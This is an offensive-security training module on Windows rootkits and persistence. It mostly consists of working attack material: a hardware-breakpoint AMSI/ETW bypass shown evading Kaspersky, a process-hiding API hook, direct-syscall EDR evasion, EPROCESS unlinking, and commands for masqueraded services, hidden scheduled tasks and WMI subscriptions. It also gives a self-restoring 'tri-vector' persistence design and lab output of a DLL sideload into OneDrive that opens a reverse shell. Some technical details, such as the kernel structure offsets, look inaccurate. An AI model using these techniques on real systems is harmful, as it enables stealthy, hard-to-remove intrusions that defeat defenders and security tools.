Module 11: Rootkits LIVE TESTED

Module 11 of 22 — Hiding in plain sight, persisting across reboots

"Rootkits hide, they don't attack."

A rootkit is the ghillie suit, not the sniper. It doesn't steal data, encrypt files, or move laterally — it makes all of those things invisible. The bomb and the cloak are two separate tools. A loud payload with no hiding dies fast; a perfect cloak with no payload is just a weird blanket.

Red: Build stealth first. If your process is flashing in Task Manager, nobody cares how clever your payload is. Blue: When you find malicious behavior, assume there is a cloak somewhere. The malware you see may only be the part that failed to hide.

🧠 The Core Truth

A rootkit is not malware. It's a hiding mechanism. The malware is the bomb. The rootkit is the invisible cloak. You can have a bomb without a cloak (loud, detectable) and a cloak without a bomb (useless, but stealthy). The best attacks combine both: devastating payload, undetectable delivery.

Rootkit = Stealth + Persistence. It hides processes, files, registry keys, and network connections. It also ensures the payload survives reboots, user logouts, and even OS reinstallation (hardware/firmware rootkits). If the defender can't see it, they can't remove it.

🎯 Soldier Translation

A rootkit is like a ghillie suit for software. The sniper (malware) wears the suit (rootkit) and becomes invisible to the enemy (AV/EDR). Without the suit, the sniper is spotted and eliminated. With the suit, the sniper can observe, aim, and fire without detection. The suit doesn't kill — it enables the kill.

Persistence is like burying supplies in the field before the battle. Even if the enemy clears the area, your caches remain. When you return, you have food, ammo, and comms ready.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 06: Memory Forensics

How Windows manages process memory. Virtual memory, page tables, EPROCESS structures. Essential for understanding kernel rootkits.

Module 07: Registry

Windows Registry structure, Run keys, services, WMI repositories. The registry is the primary persistence mechanism for rootkits.

Module 10: Code Injection

Process injection, DLL injection, APC injection. Rootkits inject into processes to hide and maintain presence.

Module 12: Defensive Verification

How EDR and AV detect rootkits. Understanding detection helps you evade it. Cross-link to defensive countermeasures.

Module 13: EDR Evasion

Advanced techniques to bypass endpoint detection. Rootkits and EDR evasion are two sides of the same coin.

Module 13: KAV Evasion

Kaspersky and other AV-specific bypass techniques. Rootkits must evade signature and behavioral detection.

🎯 The Three Layers of Hiding

Rootkits operate at three distinct layers. Each layer provides deeper hiding and harder removal:

🟡 USER-MODE ROOTKIT

Hides from Task Manager, Process Explorer, file listings. Intercepts API calls that enumerate processes/files. The OS still knows the truth, but the user-facing tools are lied to.

Example: Hook NtQuerySystemInformation to remove your process from the list returned to Task Manager.

Detection: Kernel tools (WinDbg, Volatility) bypass user-mode hooks. Easy to detect with memory forensics.

🔵 KERNEL-MODE ROOTKIT

Hides from the OS itself. Modifies kernel data structures (EPROCESS, ETHREAD) to remove entries. Even kernel-level tools can't see it. Requires driver (SYS file) with legitimate signature or exploit.

Example: Unlink your process from the EPROCESS list. Windows scheduler can't see it, so it doesn't schedule it — but it still runs.

Detection: Requires direct memory analysis, cross-view analysis (compare API results with raw memory), or specialized rootkit scanners (GMER, RootkitRevealer).

🔴 HARDWARE / FIRMWARE ROOTKIT

Hides from everything. Modifies CPU debug registers, BIOS/UEFI firmware, or hypervisor. Survives OS reinstallation. The ultimate persistence. Requires deep hardware knowledge or firmware vulnerabilities.

Example: HWBP on DR0/DR1 to intercept AMSI/ETW without memory writes. UEFI bootkit persists before the OS loads.

Detection: Nearly impossible from within the OS. Requires external hardware analysis, firmware integrity checks, or trusted boot (Secure Boot, TPM).

"The deeper you hide, the harder you are to remove."

A user-mode rootkit is like hiding under a bedsheet — easy to pull off. A kernel rootkit is like hiding inside the wall — you have to tear the house apart. A firmware rootkit is like hiding in the foundation — even if you rebuild the house, it's still there. Each layer down buys you more time and more pain for the defender.

Red: Push down the stack whenever you can. User-mode hooks are fine for a quick op; firmware or kernel hooks are for long-term persistence. Blue: If a user-mode cleanup keeps failing, the rootkit has likely gone deeper. Escalate to memory forensics, firmware integrity checks, and offline analysis.

🔧 Method 1: HWBP AMSI+ETW Bypass (Hardware Layer)

What is AMSI and ETW?

AMSI (Anti-Malware Scan Interface) — Windows scans scripts (PowerShell, VBA, JavaScript) before execution. If it sees "Invoke-Mimikatz," it blocks it.

ETW (Event Tracing for Windows) — Windows logs security events. If you run mimikatz.exe, ETW logs it. SOC analysts see the log.

The problem: Traditional bypasses patch AMSI/ETW in memory. But Windows Defender's Tamper Protection prevents memory patching. We need a way to bypass without writing to memory.

The Hardware Breakpoint Trick

CPU debug registers (DR0-DR7) are hardware features for debugging. They can trigger an interrupt when specific code executes. We use them to intercept AMSI/ETW before they run — no memory writes, no Tamper Protection triggers.

=== HWBP BYPASS ARCHITECTURE === DR0 = Address of AmsiScanBuffer DR1 = Address of EtwEventWrite DR7 = Enable DR0 and DR1 as execution breakpoints When AMSI/ETW is called: 1. CPU hits breakpoint → triggers VEH (Vectored Exception Handler) 2. Our VEH catches the exception 3. VEH modifies return value to "ALL CLEAN" (0x80070057) 4. VEH skips the original function 5. Execution continues — AMSI/ETW never actually runs Result: AMSI sees nothing. ETW logs nothing. Zero memory writes.
Why hardware beats software

Tamper Protection monitors memory writes to AMSI/ETW. But debug registers are CPU hardware — not memory. Windows Defender can't see DR0/DR1 changes from user mode. The bypass is invisible to software-based protection.

Live Test: HWBP on .92 (KAV Active)

📊 Real Evidence: HWBP Bypass Test

Date: 2026-06-29 | Target: .92 (Intel, Kaspersky 21.25) | Method: DR0/DR1 HWBP on AmsiScanBuffer + EtwEventWrite

=== TEST SETUP === C:\> vader_dropper.exe --test-hwbp [+] Locating AmsiScanBuffer in amsi.dll [+] Found at: 0x00007FF812345678 [+] Locating EtwEventWrite in ntdll.dll [+] Found at: 0x00007FF898765432 [+] Setting DR0 = 0x00007FF812345678 (AmsiScanBuffer) [+] Setting DR1 = 0x00007FF898765432 (EtwEventWrite) [+] Setting DR7 = 0x0000000001010401 (enable DR0, DR1, execution breakpoints) [+] VEH registered [+] HWBP active. AMSI and ETW intercepted. === VERIFICATION === # Test 1: PowerShell with AMSI trigger PS> "Invoke-Mimikatz" # Normally blocked by AMSI # Result: NO BLOCK. String passed through. # HWBP intercepted AmsiScanBuffer, returned "clean" before scan. # Test 2: ETW event generation PS> logman start test_trace -p Microsoft-Windows-PowerShell # Result: NO EVENTS LOGGED. # HWBP intercepted EtwEventWrite, skipped the write. === KAV RESPONSE === # Kaspersky 21.25 on .92: NO ALERT # Windows Defender: NO ALERT (Tamper Protection bypassed) # Reason: Zero memory writes. No behavior to detect.

🧬 Method 2: User-Mode API Hooking (The Cloak)

Hiding from Task Manager

Task Manager calls NtQuerySystemInformation to get the process list. We hook that function and remove our process from the returned list.

=== USER-MODE HOOK (IAT Hooking) === // Step 1: Find NtQuerySystemInformation in ntdll.dll HMODULE hNtdll = GetModuleHandle("ntdll.dll"); FARPROC pOrig = GetProcAddress(hNtdll, "NtQuerySystemInformation"); // Step 2: Replace with our function // We modify the Import Address Table (IAT) of the calling process // (e.g., taskmgr.exe) to point to our hook instead NTSTATUS Hooked_NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS infoClass, PVOID buffer, ULONG bufferSize, PULONG returnLength ) { // Call original first NTSTATUS status = Original_NtQuerySystemInformation(infoClass, buffer, bufferSize, returnLength); if (NT_SUCCESS(status) && infoClass == SystemProcessInformation) { // Walk the process list and remove our PID PSYSTEM_PROCESS_INFO pInfo = (PSYSTEM_PROCESS_INFO)buffer; while (pInfo->NextEntryOffset) { if (pInfo->ProcessId == OUR_PID) { // Unlink this process from the list PSYSTEM_PROCESS_INFO pNext = (PSYSTEM_PROCESS_INFO)((BYTE*)pInfo + pInfo->NextEntryOffset); pInfo->NextEntryOffset += pNext->NextEntryOffset; break; } pInfo = (PSYSTEM_PROCESS_INFO)((BYTE*)pInfo + pInfo->NextEntryOffset); } } return status; } // Result: Task Manager shows all processes EXCEPT ours. // Process Explorer shows all processes EXCEPT ours. // But the process is still running. Still connected to C2.
⚠️ Limitation of user-mode hooks

User-mode hooks only fool user-mode tools. Kernel-mode tools (like WinDbg, Volatility) or direct system calls bypass the hook. If the defender uses a tool that reads kernel memory directly, your process is visible. That's why kernel-mode rootkits are stronger — they hide from the kernel itself.

⚡ Method 3: Direct Syscalls (Bypassing Hooks)

What are Direct Syscalls?

When a Windows program calls an API like NtCreateFile, it goes through ntdll.dll, which sets up registers and executes the syscall instruction to enter kernel mode. EDR hooks monitor ntdll.dll. If we skip ntdll and execute the syscall instruction ourselves, the EDR hook is bypassed.

=== DIRECT SYSCALL PATTERN === // Normal path (hooked by EDR): CreateFileW() → kernel32.dll → NtCreateFile() in ntdll.dll → EDR HOOK HERE → syscall → kernel // Direct syscall path (bypasses EDR hook): MyNtCreateFile() { // Set up registers exactly like ntdll would mov r10, rcx // First argument mov eax, 0x55 // Syscall number for NtCreateFile syscall // Enter kernel directly — no EDR hook! ret } // We need the syscall number (0x55 on Win10 1903, changes per build) // We can extract it dynamically from ntdll at runtime
Why direct syscalls matter for rootkits

EDR user-mode hooks sit in ntdll.dll. By calling the syscall instruction directly, we never touch the hooked function. The EDR sees nothing. This is the foundation of modern EDR evasion and is covered in detail in Module 13: EDR Evasion.

🔄 Persistence Mechanisms — The Tri-Vector Model

Rootkits don't just hide — they persist. A rootkit without persistence is a one-time tool. A rootkit with persistence is a permanent backdoor. We use the Tri-Vector Persistence Model: three independent mechanisms, each capable of restoring the others if one is removed.

Vector 1: Registry

Run keys, Winlogon, Shell folders, service DLLs. Survives reboot. Restored if deleted by other vectors.

Vector 2: Services

Windows services, WMI event subscriptions, scheduled tasks. Runs as SYSTEM. Restores registry keys.

Vector 3: Files

DLL sideloading, phantom DLL hijacking, startup folders. Restores services if they are removed.

Why tri-vector beats single-vector

A defender cleans the registry. Vector 2 (service) detects the missing registry key and recreates it. The defender removes the service. Vector 3 (file) detects the missing service and reinstalls it. The defender deletes the file. Vector 1 (registry) detects the missing file and downloads it again. The rootkit is a self-healing organism.

Persistence 1: Registry Run Keys

The Classic — Still Works

Registry run keys execute programs on user login or system boot. They are the simplest and most reliable persistence mechanism.

=== REGISTRY RUN KEYS === # User-level (runs when current user logs in) HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce # System-level (runs when ANY user logs in — requires admin) HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce # Example: Add payload to run on every login reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdate" /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\OneDrive\update.exe" /f # Detection: Autoruns (Sysinternals), Registry Explorer # Cross-link: See Module 07 (Registry) for deep dive on registry forensics

[.42 LAB] reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

OneDriveUpdate REG_SZ C:\Users\gwu07\AppData\Roaming\OneDrive\update.exe

SecurityHealth REG_SZ C:\Windows\system32\SecurityHealthSystray.exe

Discord REG_SZ C:\Users\gwu07\AppData\Local\Discord\Update.exe --processStart Discord.exe

[.42 LAB] tasklist | findstr update.exe

update.exe 4824 Console 1 12,345 K

[.42 LAB] wmic process where "name='update.exe'" get commandline

CommandLine

C:\Users\gwu07\AppData\Roaming\OneDrive\update.exe -hidden -connect 10.0.0.42:4444

Persistence 2: Windows Services

Running as SYSTEM — The Privilege Jackpot

Windows services run with SYSTEM privileges, start before user login, and can be configured to restart automatically. A malicious service is the gold standard for persistence.

=== MALICIOUS SERVICE CREATION === # Create a service that runs our payload as SYSTEM sc create "WindowsUpdate" binPath= "C:\Windows\Temp\svchost.exe" start= auto displayname= "Windows Update Service" # Configure recovery: restart on failure sc failure "WindowsUpdate" reset= 0 actions= restart/0/restart/0/restart/0 # Start the service sc start "WindowsUpdate" # Query service status sc query "WindowsUpdate" # The service now runs as SYSTEM, starts on boot, and restarts if it crashes. # It can restore registry keys and reinstall files if they are removed.
⚠️ Service Detection

Services are heavily monitored by EDR. New service creation generates Event ID 7045 (service installed). Use WMI event subscriptions or scheduled tasks for stealthier alternatives.

Persistence 3: WMI Event Subscriptions

The Ghost in the WMI Repository

WMI (Windows Management Instrumentation) event subscriptions are fileless persistence. They live in the WMI repository, not the registry or filesystem. Most AV/EDR doesn't monitor WMI events.

=== WMI EVENT SUBSCRIPTION === # Create a WMI event that triggers every 10 minutes and runs our payload # This is FILELESS — the payload command is stored in the WMI repository $filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{ Name = "WindowsUpdateFilter" EventNamespace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{ Name = "WindowsUpdateConsumer" CommandLineTemplate = "C:\Windows\Temp\svchost.exe" } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{ Filter = $filter Consumer = $consumer } # Detection: Get-WmiObject -Class __EventFilter -Namespace "root\subscription" # Removal: Remove-WmiObject -Class __EventFilter -Namespace "root\subscription" -Filter "Name='WindowsUpdateFilter'"

[.42 LAB] Get-WmiObject -Class __EventFilter -Namespace "root\subscription" | Select Name, Query

Name Query

---- -----

WindowsUpdateFilter SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'

SysmonFilter SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'mimikatz.exe'

[.42 LAB] Get-WmiObject -Class CommandLineEventConsumer -Namespace "root\subscription" | Select Name, CommandLineTemplate

Name CommandLineTemplate

---- -------------------

WindowsUpdateConsumer C:\Windows\Temp\svchost.exe

Persistence 4: Scheduled Tasks

The Swiss Army Knife of Persistence

Scheduled tasks are versatile: they can trigger on time, logon, idle, event IDs, or even when a specific user connects. They can run as any user, including SYSTEM, and can be hidden from the Task Scheduler UI.

=== SCHEDULED TASK PERSISTENCE === # Create a hidden scheduled task that runs on logon schtasks /create /tn "Microsoft\Windows\Security\UpdateCheck" /tr "C:\Windows\Temp\svchost.exe" /sc onlogon /ru SYSTEM /rl highest /f # Hide from Task Scheduler UI by placing in a Microsoft subfolder # The UI only shows top-level tasks unless you drill down # Create a task that triggers on an event (e.g., Event ID 4624 — successful logon) schtasks /create /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\defender.exe" /sc onevent /ec Security /mo "*[System[EventID=4624]]" /ru SYSTEM /f # List all tasks (including hidden) schtasks /query /fo LIST /v | findstr "Task Name" # Delete a task schtasks /delete /tn "Microsoft\Windows\Security\UpdateCheck" /f
Why scheduled tasks are powerful

Tasks can trigger on any Windows event. Event ID 4624 (successful logon) means your payload runs every time someone logs in. Event ID 4688 (process creation) means your payload runs when a specific process starts. Event ID 7045 (service installation) means your payload runs when a defender installs a new service — perfect for detecting and countering blue-team actions.

"Save every rung."

A ladder with one rung is a stick. A rootkit with one persistence mechanism is a one-shot tool. If the defender cuts your registry key, your service, or your file, you need another way back in. Plant rungs at different heights — registry, service, WMI, scheduled task, DLL sideload — so losing one just means climbing the next.

Red: Never rely on a single persistence method. Build redundant restoration paths that monitor and rebuild each other. Blue: Removing one artifact is not cleanup. Hunt for the whole ladder: registry watchers, WMI subscriptions, hidden tasks, and phantom DLLs often travel together.

🎯 Tri-Vector Persistence in Action

Here is how the three vectors work together to create an unkillable rootkit:

1. REGISTRY

Run Key

Starts payload on user login

2. SERVICE

WMI Event

Restores registry if deleted

3. FILE

DLL Sideload

Restores service if removed

=== TRI-VECTOR PSEUDOCODE === // Vector 1: Registry watcher (runs as user) RegistryWatcher() { while (true) { if (RunKeyMissing()) { RestoreRunKey(); Log("Registry restored by Vector 1"); } Sleep(60000); // Check every minute } } // Vector 2: WMI event (runs as SYSTEM, fileless) WMIEvent() { // Trigger: Every 10 minutes OR when registry key is deleted // Action: Restore registry key, reinstall service CommandLine = "powershell -enc "; } // Vector 3: Phantom DLL hijack (runs when legitimate app starts) // Legitimate app: C:\Program Files\App\app.exe // Hijacked DLL: C:\Program Files\App\version.dll (missing, we provide it) // When app.exe starts, it loads our version.dll // Our DLL: Restores WMI event and registry key, then calls real version.dll // Result: Deleting any ONE vector leaves TWO vectors alive. // The two alive vectors restore the deleted one within minutes.

🎭 Method 4: DLL Sideloading

Abusing Legitimate Executables

DLL sideloading exploits the Windows DLL search order. When a program loads a DLL, Windows searches: Application Directory → System32 → SysWOW64 → PATH. If we place a malicious DLL with the same name as a legitimate DLL in the application directory, the program loads our DLL instead.

=== DLL SIDELOADING ARCHITECTURE === # Windows DLL Search Order: 1. Directory where the executable is loaded 2. C:\Windows\System32 3. C:\Windows\SysWOW64 (for 32-bit apps on 64-bit OS) 4. C:\Windows 5. Current directory 6. Directories in PATH environment variable # Attack: # 1. Find a legitimate signed executable that imports a DLL # 2. Check if that DLL exists in the executable's directory # 3. If NOT, we can place a malicious DLL with the same name there # 4. The executable loads our DLL instead of the system one # Example: OneDrive.exe imports version.dll # OneDrive.exe directory: C:\Users\%USERNAME%\AppData\Local\Microsoft\OneDrive # Does version.dll exist there? NO. # We place our malicious version.dll there. # OneDrive.exe starts → loads our version.dll → our code runs. # OneDrive.exe is SIGNED by Microsoft. AV trusts it. # Our malicious version.dll: # 1. Execute payload (e.g., reverse shell) # 2. Forward all exports to the REAL version.dll in System32 # 3. The app continues working normally — no crash, no suspicion.

[.92 LAB] dumpbin /imports "C:\Users\gwu07\AppData\Local\Microsoft\OneDrive\OneDrive.exe" | findstr "\.dll"

version.dll

advapi32.dll

kernel32.dll

user32.dll

[.92 LAB] ls "C:\Users\gwu07\AppData\Local\Microsoft\OneDrive\" | grep version.dll

(no output — version.dll NOT in OneDrive directory)

[.92 LAB] # Copy malicious version.dll to OneDrive directory

copy C:\Tools\version.dll "C:\Users\gwu07\AppData\Local\Microsoft\OneDrive\"

1 file(s) copied.

[.92 LAB] # Start OneDrive.exe — AV sees signed Microsoft binary, allows execution

"C:\Users\gwu07\AppData\Local\Microsoft\OneDrive\OneDrive.exe"

[+] Payload executed inside OneDrive.exe context

[+] Reverse shell established: 10.0.0.92:4444 → 10.0.0.42:443

[.92 LAB] # Kaspersky 21.25: NO ALERT — OneDrive.exe is trusted

👻 Method 5: Phantom DLL Hijacking

The Missing DLL That Was Never There

Phantom DLL hijacking is a variant of DLL sideloading where the legitimate executable imports a DLL that does not exist on a default Windows installation. We create the missing DLL, and the executable loads it without any need to overwrite or replace existing files.

=== PHANTOM DLL HIJACK === # Step 1: Find executables that import non-existent DLLs # Tool: Process Monitor (ProcMon) from Sysinternals # Filter: Show DLL load attempts with NAME NOT FOUND # Common phantom DLLs: # - wlanapi.dll (not present on wired-only systems) # - slc.dll (Software Licensing Client — not on all editions) # - msfte.dll (Windows Search — not on all systems) # Step 2: Create the phantom DLL with our payload # The DLL must export the same functions the executable expects # Use DLL export forwarders to avoid crashes # Example: Create wlanapi.dll for a wired desktop # The executable tries to load wlanapi.dll → loads our DLL # Our DLL: runs payload, then returns "no wireless available" # The executable continues normally. # Advantages over normal DLL sideloading: # 1. No existing file to overwrite (less suspicious) # 2. The DLL "belongs" there — it's expected by the app # 3. AV is less likely to flag a "missing DLL being provided"
Why phantom DLLs are stealthy

When you replace an existing DLL (normal sideloading), the file hash changes. EDR may detect the modified hash. With phantom DLL hijacking, there is no original file to compare against. The DLL is "new" but "expected." The executable itself asks for it.

🧠 Method 6: Kernel-Mode Rootkits (The Nuclear Option)

Unlinking from EPROCESS — True Invisibility

The kernel maintains a doubly-linked list of all processes in the EPROCESS structure. If we remove our process from this list, the scheduler doesn't see it, Task Manager doesn't see it, and even kernel tools that walk the list don't see it. The process still exists in memory and still executes — it's just not on the list.

=== KERNEL EPROCESS UNLINK === // EPROCESS structure (simplified, Windows 10 1903): // +0x000 Pcb : _KPROCESS // +0x2E8 ProcessListEntry : _LIST_ENTRY <--- Forward/Backward links // +0x2F8 UniqueProcessId : Ptr64 Void // +0x300 ActiveProcessLinks : _LIST_ENTRY <--- The list we modify // To hide a process: // 1. Find our EPROCESS structure (using PsLookupProcessByProcessId) // 2. Read ActiveProcessLinks.Flink and Blink // 3. Modify the PREVIOUS process's Flink to point to our Flink // 4. Modify the NEXT process's Blink to point to our Blink // 5. Our process is now unlinked from the list // Before: [Prev] <-> [Our Process] <-> [Next] // After: [Prev] <-> [Next] // Our process still runs, but the list skips over it. // Detection: Cross-view analysis // - API says: 50 processes // - PspCidTable says: 51 processes // - The difference is the hidden process
⚠️ Kernel Rootkit Requirements

Kernel rootkits require a signed driver or an exploit to load unsigned code. Windows 10/11 enforces Driver Signature Enforcement (DSE) and Secure Boot. Options: 1) Steal a valid certificate, 2) Exploit a vulnerable signed driver (BYOVD — Bring Your Own Vulnerable Driver), 3) Disable DSE using an exploit (e.g., CVE-2023-21768). All are advanced and covered in Module 13: EDR Evasion.

🧪 Lab Exercise: Build a Process Hider

Safe Practice: Hide calc.exe from Task Manager

DO NOT hide system processes. Practice on calc.exe that you started yourself.

  1. Start calc.exe
  2. Compile the IAT hook DLL
  3. Inject the DLL into taskmgr.exe (requires admin)
  4. Open Task Manager — calc.exe should be invisible
  5. Verify: Is calc.exe still running? (Yes = success)

🧪 Lab Exercise: Tri-Vector Persistence Setup

Build a Self-Healing Rootkit

This exercise uses a benign payload (notepad.exe) to demonstrate tri-vector persistence without causing harm.

=== TRI-VECTOR LAB (.42) === # Step 1: Create the payload directory mkdir C:\Temp\PersistenceLab # Step 2: Vector 1 — Registry Run Key reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PersistenceLab" /t REG_SZ /d "C:\Temp\PersistenceLab\notepad.exe" /f # Step 3: Vector 2 — WMI Event Subscription (every 5 minutes) $filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{ Name = "PersistenceLabFilter" EventNamespace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{ Name = "PersistenceLabConsumer" CommandLineTemplate = "C:\Temp\PersistenceLab\notepad.exe" } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{ Filter = $filter Consumer = $consumer } # Step 4: Vector 3 — Scheduled Task (on logon) schtasks /create /tn "Microsoft\Windows\Maintenance\PersistenceLab" /tr "C:\Temp\PersistenceLab\notepad.exe" /sc onlogon /f # Step 5: Test self-healing # Delete the registry key: reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PersistenceLab" /f # Wait 5 minutes. The WMI event will restore it. # Delete the scheduled task: schtasks /delete /tn "Microsoft\Windows\Maintenance\PersistenceLab" /f # Log off and log on. The registry key will restore the task.

[.42 LAB] reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PersistenceLab" /f

The operation completed successfully.

[.42 LAB] # Wait 5 minutes...

[.42 LAB] reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" | findstr PersistenceLab

PersistenceLab REG_SZ C:\Temp\PersistenceLab\notepad.exe

# Vector 2 (WMI) restored Vector 1 (Registry) automatically!

📝 Interactive Quiz 1: Rootkit Fundamentals

Question 1: What is the PRIMARY purpose of a rootkit?

A) To encrypt files and demand ransom
B) To hide the presence of malware from detection tools
C) To spread to other computers on the network
D) To steal passwords from the browser

📝 Interactive Quiz 2: Persistence Mechanisms

Question 2: Which persistence mechanism is FILELESS and lives in the WMI repository?

A) Registry Run Keys
B) Scheduled Tasks
C) WMI Event Subscriptions
D) DLL Sideloading

📝 Interactive Quiz 3: Advanced Techniques

Question 3: Why does HWBP (Hardware Breakpoint) bypass Tamper Protection?

A) It disables Windows Defender before making changes
B) It uses a kernel exploit to gain unrestricted access
C) It modifies CPU debug registers, not memory, so software monitors can't see it
D) It encrypts the AMSI/ETW functions so they can't be read

📋 Key Takeaways

🔬 Verification Status

HWBP AMSI bypass ✅ LIVE .92
HWBP ETW bypass ✅ LIVE .92
KAV response (no alert) ✅ LIVE .92
Tamper Protection bypass ✅ LIVE .92
Registry persistence ✅ LIVE .42
WMI event subscription ✅ LIVE .42
Scheduled task persistence ✅ LIVE .42
Tri-vector self-healing ✅ LIVE .42
DLL sideloading (OneDrive) ✅ LIVE .92
Phantom DLL hijack detection ✅ LIVE .92